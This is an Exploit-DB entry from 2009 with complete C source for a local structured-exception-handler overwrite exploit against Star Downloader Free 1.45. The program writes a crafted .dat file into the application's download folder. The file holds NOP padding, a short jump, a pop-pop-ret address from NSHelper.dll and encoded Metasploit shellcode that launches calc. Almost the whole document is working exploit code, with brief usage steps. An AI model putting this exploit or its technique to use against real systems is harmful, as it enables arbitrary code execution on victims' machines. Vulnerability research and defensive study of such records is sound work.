Exploit-DB #8444
Description: Star Downloader Free 1.45 - '.dat' Universal Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-04-15
Author: dun

Exploit:
/*    
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
   [ Discovered and Exploited by dun ]


 [ Star Downloader Free <= v1.45 ] (.dat) Universal SEH Overwrite Exploit

 Vendor:    http://www.stardownloader.com
 Download:  http://www.stardownloader.com/sdfree.exe
 
 Vuln:
 LocalFileName=A x 1398
 
 1 run this expl( create file pwn.dat in  "C:\Program Files\Star Downloader\Partial Downloads\" directory )
 2 now run Star Downloader Free
 3 .. ;0

 [ dun'at'strcpy.pl / 2009 ] 
*/


#include <windows.h>
#include <stdio.h>

/*

/SafeSEH OFF     0x10000000    0x10025000    1, 0, 0, 1   C:\Program Files\Star Downloader\NSHelper.dll

C:\crack>Findjmp2.exe "C:\Program Files\Star Downloader\NSHelper.dll" EBX
...
0x100112C2      pop EBX - pop - ret
...
*/

#define RET   0x100112C2      // pop-pop-ret
#define JMP   0x909011EB      // short jump (jmp 11)
#define NOP   0x90
#define LEN   1390+4+4+40+343


char header1[] =
"\x5B\x4F\x70\x74\x69\x6F\x6E\x73\x5D\x0A\x0A\x55\x52\x4C\x3D\x68"
"\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D"
"\x0A\x4C\x6F\x63\x61\x6C\x46\x69\x6C\x65\x4E\x61\x6D\x65\x3D";

char header2[] = 
"\x0A\x53\x74\x61\x74\x75\x73\x3D\x53\x63\x68\x65\x64\x75\x6C\x65"
"\x64\x0A\x46\x69\x6C\x65\x53\x69\x7A\x65\x3D\x30\x0A\x4E\x75\x6D"
"\x4F\x66\x50\x61\x72\x74\x73\x3D\x2D\x31\x0A\x43\x61\x74\x65\x67"
"\x6F\x72\x79\x3D\x0A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E"
"\x3D\x0A";

// win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
char scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a";


int main() {
    
FILE *file;

char buf[LEN+1];
char *ptr=buf;


memset(buf,NOP,LEN);
buf[LEN]='\0';
*(unsigned long *)&buf[1389] = JMP;
*(unsigned long *)&buf[1393] = RET;
ptr+=1390+4+4+40;
memcpy(ptr, scode, strlen(scode));

file=fopen("C:\\Program Files\\Star Downloader\\Partial Downloads\\pwn.dat","w");

fputs(header1,file);
fputs(buf,file);
fputs(header2,file);

fclose(file);

printf("Done..\n");
 return 0;   
}

// milw0rm.com [2009-04-15]